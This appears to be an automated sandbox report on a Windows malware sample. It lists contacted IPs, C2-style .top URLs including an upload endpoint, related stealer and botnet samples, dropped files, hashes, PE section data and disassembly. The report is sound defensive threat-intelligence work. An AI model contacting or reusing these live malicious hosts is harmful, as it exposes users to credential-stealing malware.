98.85.100.80	KzLv0EXDs1.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	0254xoMBbu.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	JiZQEd33mn.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse
	SAc3W2GkMS.exe	Get hash	malicious	Cryptbot	Browse
	iR411nudvr.exe	Get hash	malicious	Cryptbot	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	random.exe.6.exe	Get hash	malicious	Cryptbot	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
185.185.71.170	KzLv0EXDs1.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.fivetk5pn.top/vJNDHPUXPCEIZZjTPbLp1734325090
	JiZQEd33mn.exe	Get hash	malicious	Unknown	Browse	home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322?argument=BLgslsgr1KoFK5Qq1734551738
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	twentytk20pn.top/v1/upload.php
	SAc3W2GkMS.exe	Get hash	malicious	Cryptbot	Browse	home.fivetk5pn.top/vJNDHPUXPCEIZZjTPbLp1734325090
	slehaYAu1z.exe	Get hash	malicious	Cryptbot	Browse	home.fivetk5pn.top/vJNDHPUXPCEIZZjTPbLp1734325090
	LPtrVGfaJR.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.fivetk5pn.top/vJNDHPUXPCEIZZjTPbLp1734325090
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
	3a5Wrz0dWU.exe	Get hash	malicious	Cryptbot	Browse	home.fivetk5pn.top/vJNDHPUXPCEIZZjTPbLp1734325090
	9y8P2kPsOq.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.fivetk5pn.top/vJNDHPUXPCEIZZjTPbLp1734325090
	random.exe.6.exe	Get hash	malicious	Cryptbot	Browse	home.fivetk5pn.top/vJNDHPUXPCEIZZjTPbLp1734325090

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fivetk5pn.top	KzLv0EXDs1.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.185.71.170
	SAc3W2GkMS.exe	Get hash	malicious	Cryptbot	Browse	185.185.71.170
	slehaYAu1z.exe	Get hash	malicious	Cryptbot	Browse	185.185.71.170
	LPtrVGfaJR.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.185.71.170
	3a5Wrz0dWU.exe	Get hash	malicious	Cryptbot	Browse	185.185.71.170
	9y8P2kPsOq.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.185.71.170
	random.exe.6.exe	Get hash	malicious	Cryptbot	Browse	185.185.71.170
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.154.220.71
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.154.220.71
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Xmrig	Browse	104.154.220.71
home.fivetk5pn.top	KzLv0EXDs1.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.185.71.170
	SAc3W2GkMS.exe	Get hash	malicious	Cryptbot	Browse	185.185.71.170
	slehaYAu1z.exe	Get hash	malicious	Cryptbot	Browse	185.185.71.170
	LPtrVGfaJR.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.185.71.170
	3a5Wrz0dWU.exe	Get hash	malicious	Cryptbot	Browse	185.185.71.170
	9y8P2kPsOq.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.185.71.170
	random.exe.6.exe	Get hash	malicious	Cryptbot	Browse	185.185.71.170
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.154.220.71
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.154.220.71
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Xmrig	Browse	104.154.220.71
httpbin.org	KzLv0EXDs1.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	k01VJh7Ubf.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.226.108.155
	0254xoMBbu.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	JiZQEd33mn.exe	Get hash	malicious	Unknown	Browse	98.85.100.80
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	98.85.100.80
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	98.85.100.80
	SAc3W2GkMS.exe	Get hash	malicious	Cryptbot	Browse	98.85.100.80
	slehaYAu1z.exe	Get hash	malicious	Cryptbot	Browse	34.226.108.155
	iR411nudvr.exe	Get hash	malicious	Cryptbot	Browse	98.85.100.80
	7KAYnROp5y.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.226.108.155

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SPRINTHOSTRU	KzLv0EXDs1.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.185.71.170
	JiZQEd33mn.exe	Get hash	malicious	Unknown	Browse	185.185.71.170
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	185.185.71.170
	SAc3W2GkMS.exe	Get hash	malicious	Cryptbot	Browse	185.185.71.170
	slehaYAu1z.exe	Get hash	malicious	Cryptbot	Browse	185.185.71.170
	LPtrVGfaJR.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.185.71.170
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.185.71.170
	3a5Wrz0dWU.exe	Get hash	malicious	Cryptbot	Browse	185.185.71.170
	9y8P2kPsOq.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.185.71.170
	random.exe.6.exe	Get hash	malicious	Cryptbot	Browse	185.185.71.170
TWC-11351-NORTHEASTUS	KzLv0EXDs1.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	0254xoMBbu.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	JiZQEd33mn.exe	Get hash	malicious	Unknown	Browse	98.85.100.80
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	98.85.100.80
	la.bot.arm.elf	Get hash	malicious	Mirai	Browse	137.38.219.193
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	76.179.104.186
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	50.75.56.15
	loligang.ppc.elf	Get hash	malicious	Mirai	Browse	69.205.70.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	98.85.100.80
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	74.79.91.208

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\dlEmjynrOeqkpoHZKKOr.dll	KzLv0EXDs1.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	SAc3W2GkMS.exe	Get hash	malicious	Cryptbot	Browse
	slehaYAu1z.exe	Get hash	malicious	Cryptbot	Browse
	LPtrVGfaJR.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	3a5Wrz0dWU.exe	Get hash	malicious	Cryptbot	Browse
	9y8P2kPsOq.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	random.exe.6.exe	Get hash	malicious	Cryptbot	Browse
	7phaWtDByx.exe	Get hash	malicious	Cryptbot	Browse
	J7jaqQYuwS.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	nxpmj0Yu40.exe	Get hash	malicious	Cryptbot	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_U6mwWZlkzH.exe_f7fb4c10208cfdc3cd9512ad03820e37fe8ae54_ee3ae181_122b33b1-66cb-4e42-a21a-31da483c82fe\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1281302287703157
Encrypted:	false
SSDEEP:	192:rS61GfjFxG0BU84Xju0sPMttM+dSuiFaH4IO8/L:rEfjRBU84Xjs6SuiFaH4IO8/L
MD5:	F893D7DD4252A1B2F2F549C6B47C4DF0
SHA1:	EA8A3A14B639EE5811575947FDBB8653379125CF
SHA-256:	60E62C858D83DF49AB8B7F7167A6E581852759ED00932D7C022442B988DB0276
SHA-512:	F65A24E9AE084DE43D5A2903FA3229ACDEA551F925B472D9F31349581C52F622422CF46186B20F5691E22E280AE8EF1364F292D39C47239FEEEDE9E3A224E731
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.0.2.5.4.9.4.9.3.2.0.0.1.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.0.2.5.4.9.6.4.9.4.4.8.8.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.2.2.b.3.3.b.1.-.6.6.c.b.-.4.e.4.2.-.a.2.1.a.-.3.1.d.a.4.8.3.c.8.2.f.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.b.7.4.b.6.f.6.-.5.4.8.b.-.4.0.f.7.-.b.e.5.9.-.c.0.0.d.d.c.b.9.a.f.c.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.U.6.m.w.W.Z.l.k.z.H...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.f.1.8.-.0.0.0.1.-.0.0.1.5.-.9.1.a.1.-.d.c.e.6.8.6.5.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.a.f.7.b.7.d.a.c.c.5.7.6.7.d.5.3.9.a.c.5.b.6.5.8.0.2.4.f.8.3.5.0.0.0.0.f.f.f.f.!.0.0.0.0.e.0.3.6.8.2.7.b.c.b.b.b.a.f.6.7.8.9.2.a.a.1.9.e.2.e.1.b.1.f.f.e.5.b.8.3.d.2.b.8.!.U.6.m.w.W.Z.l.k.z.H...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8ABC.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Dec 18 19:58:15 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	275258
Entropy (8bit):	1.4692549405468445
Encrypted:	false
SSDEEP:	1536:eIKDkz/V4DKFBNsiEESyoH0K33AzvG0aFf:T0R33Azev
MD5:	57C88660D4E1BDC110ACB56B11A3FF29
SHA1:	783A4229086DF1D3B3823DCE3168C96B0BE7571D
SHA-256:	A228AC048D09DA0986DB3B5DA46EDF59FAE960A455432229AA27FECA98B7ED29
SHA-512:	5EDC303425F74206226FEDB2C1DDE1A2898B7FC2C11617E2572542E51C5F193D614E0031BC696F481F0E33B8B864567E24701CE5CA8D30E8EC966D2AB7F39BE7
Malicious:	false
Preview:	MDMP..a..... .......W)cg........................................P-......................`.......8...........T............C..Z........................0..............................................................................eJ.......0......GenuineIntel............T............(cg....?........................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8C44.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8362
Entropy (8bit):	3.6998626391928235
Encrypted:	false
SSDEEP:	192:R6l79RJw96b6YwQSULIgmflEb70lprQ89btssfzWPm:R6lXJ66b6YnSUUgmfSb701t/fT
MD5:	632479DCA40ED0214ED0202FFDC14403
SHA1:	98C2BE172F96CB46598EEA0277B01794D24C0C83
SHA-256:	0DF6B3CBF31BE1661F98FDDD723DFCFD98E9827765765CD39512C1FFB933F802
SHA-512:	0AF188CE21387667E2769CF8B99B791C69ABFE40E3F5C56396FD6EDDD824F4DC65433BB95142BFC42EBB47B9F2CF9E72EC3BEE7DBED1BC375F8F8C397DB4F924
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...3.4.4.8...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.3.4.4.8.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.9.6.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8C74.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4597
Entropy (8bit):	4.478785556900833
Encrypted:	false
SSDEEP:	48:cvIwr7SGl8zsP4JgkZ7aI9M3WpW8VY1Ym8M4JamL5FKR+q85kOxLrjzijAd:uIafP+h7qG7VdJamUKL9jzijAd
MD5:	8AE32EF3CD6762C81A8F41033B49E03D
SHA1:	7B8B486CB00906CB8B807A6A3D9FB296566D5EB9
SHA-256:	0D9F0137B118CA7C5E8092FDF157348993BCABC658A2DB7F5EDF5EC30E967D59
SHA-512:	68DEA93E06C29C8780B65B24B6D9ACA1AC04449488080FFDDA573C0E37AA7E2BF948BB211F8C02FCDC81517E4DD2950095093AA8E94EC6555F78B59271C1565A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="3448" />.. <arg nm="verqfe" val="3448" />.. <arg nm="csdbld" val="3448" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="222980930" />.. <arg nm="osinsty" val="2" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="

C:\Users\user\AppData\Local\Temp\dlEmjynrOeqkpoHZKKOr.dll

Download File

Process:	C:\Users\user\Desktop\U6mwWZlkzH.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	315803136
Entropy (8bit):	0.054351074027576204
Encrypted:	false
SSDEEP:	24576:aA73gBW/hkhdA53oVoB93vFAEXkXfeWGnBaKPZJSXn5BN:J0EUWWGnlPuX5z
MD5:	19299E4AE1BF353D7C33CC090D792DF5
SHA1:	E86F0BD65F2BC8287A6FF639F82E49F58928877D
SHA-256:	44C9323D0F65BBA48432C88CA7A863690C4A9F26CB808A984519D7A234F37A40
SHA-512:	A53E1AC8B1AE5DCC15DDBE5E5AF6D6F867DE83AF3FD46A94364510566FBF2A86D994F9E1D4E0C0400EE25DF2E47222F79EB0B78DE01E598DC91D69B5C3DE3FBD
Malicious:	false
Joe Sandbox View:	Filename: KzLv0EXDs1.exe, Detection: malicious, Browse Filename: SAc3W2GkMS.exe, Detection: malicious, Browse Filename: slehaYAu1z.exe, Detection: malicious, Browse Filename: LPtrVGfaJR.exe, Detection: malicious, Browse Filename: 3a5Wrz0dWU.exe, Detection: malicious, Browse Filename: 9y8P2kPsOq.exe, Detection: malicious, Browse Filename: random.exe.6.exe, Detection: malicious, Browse Filename: 7phaWtDByx.exe, Detection: malicious, Browse Filename: J7jaqQYuwS.exe, Detection: malicious, Browse Filename: nxpmj0Yu40.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...R._g...........#...(...........................h.........................@......>.....@... .........................`.......................................@z...........................=.........................t............................text...8...........................`..`.data...............................@....rdata..............................@..@.eh_framX...........................@..@.bss.........p...........................edata..`............:..............@..@.idata...............<..............@....CRT....,............F..............@....tls.................H..............@....reloc..@z.......\|...J..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\service123.exe

Download File

Process:	C:\Users\user\Desktop\U6mwWZlkzH.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	314617856
Entropy (8bit):	0.0023406027484285104
Encrypted:	false
SSDEEP:
MD5:	3CC1C5052A82B7C4BC992B0033C9A592
SHA1:	EF11B20D86C582F017B9404D325B0684A4F250EC
SHA-256:	519334AC060D9D8E0E464DD48E9E3FE98A84FB17DE06B5BB90406D1480E72886
SHA-512:	1C932C99E8B96C0593776EBA56EA2C11D612E17952F1135D45D855BD1A601926C7369CF0F54068464C7BF0FABFB8E667B0C0BD13972A28B9221DFFCFD651F7E1
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...F._g...............(.v........................@.......................... ............@... .................................................................d...........................D.......................T................................text....t.......v..................`..`.data...T............z..............@....rdata...............\|..............@..@.eh_fram............................@..@.bss....t................................idata..............................@....CRT....0...........................@....tls................................@....reloc..d...........................@..B........................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.327212463240676
Encrypted:	false
SSDEEP:
MD5:	46AD651CBDEB421425FC7960A347C789
SHA1:	22270F501D53BEA14BF62481A8A9BB32011A8F11
SHA-256:	B4AE4AA63703957AC2720FD9B14474E01146478A120F06AB7F5F17ABB242E69D
SHA-512:	300F6DAE3E8C9503CCC762B52BE416E98A676766EC038DEF285C102F7F1EAAC9EEE5988D7476C23A0B908BC4E9FA902ACFAAEB3FADC2C4B68D13794758F5568E
Malicious:	false
Preview:	regfO...O....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...,.Q..............................................................................................................................................................................................................................................................................................................................................+0..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.985522396784266
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	U6mwWZlkzH.exe
File size:	4'441'088 bytes
MD5:	c640a058cdfe8c320e2386c8d67382d1
SHA1:	e036827bcbbbaf67892aa19e2e1b1ffe5b83d2b8
SHA256:	c26861430d8dabfd4ad23d387928b14a269071468a33ff37f9a32638341972e3
SHA512:	1786e94fac2716976bbf7cb3b57a52ecaae45c3d55c07400123b3de64441d7bffd53b9de65cb510f288edbe800abdde2172dc79b1c7063d96b7135986ee9e1d1
SSDEEP:	98304:IyksB4edU4BV1uQpt7COs0TxlHqrIqo0uJd3x:Tv4eHB/x1W8qo0q
TLSH:	372633320A330BCDE6614A3197D19171557FC14F8662B92F5BC8A27708AF8DAD0B7B36
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....._g...............(..G...u..2............H...@..................................fD...@... ............................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x106a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:	DYNAMIC_BASE
Time Stamp:	0x675FB4C9 [Mon Dec 16 05:04:09 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3FC48C610Ah
cpuid
inc ebx
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx+00000080h], dh
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x72f05f	0x73	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x72e000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc68bcc	0x10	iccabzlv
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc68b7c	0x18	iccabzlv
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x72d000	0x282a00	20f5bd699c71171c291f28bcbdc2c095	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x72e000	0x1ac	0x200	8c1dc7b275ea354a1e89dabaeb408806	False	0.578125	data	4.533969677641414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x72f000	0x1000	0x200	0a146cff20e31339015bbfcf77cc82c1	False	0.166015625	data	1.1589685166080708	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x730000	0x383000	0x200	3fa096c47867b635cd7f142f5bd9b9ed	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
iccabzlv	0xab3000	0x1b6000	0x1b5e00	3994dc3104894de52a9dec2d252974d7	False	0.9946167793676849	data	7.956536424832416	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nsguypzr	0xc69000	0x1000	0x400	e6fbfe38d6b03b22cff9142d8cd31c91	False	0.81640625	data	6.300676886511128	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0xc6a000	0x3000	0x2200	0bf5a10fff96cfe9f1a74a67d95cb4b7	False	0.06537224264705882	DOS executable (COM)	0.7484729423997356	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0xc68bdc	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

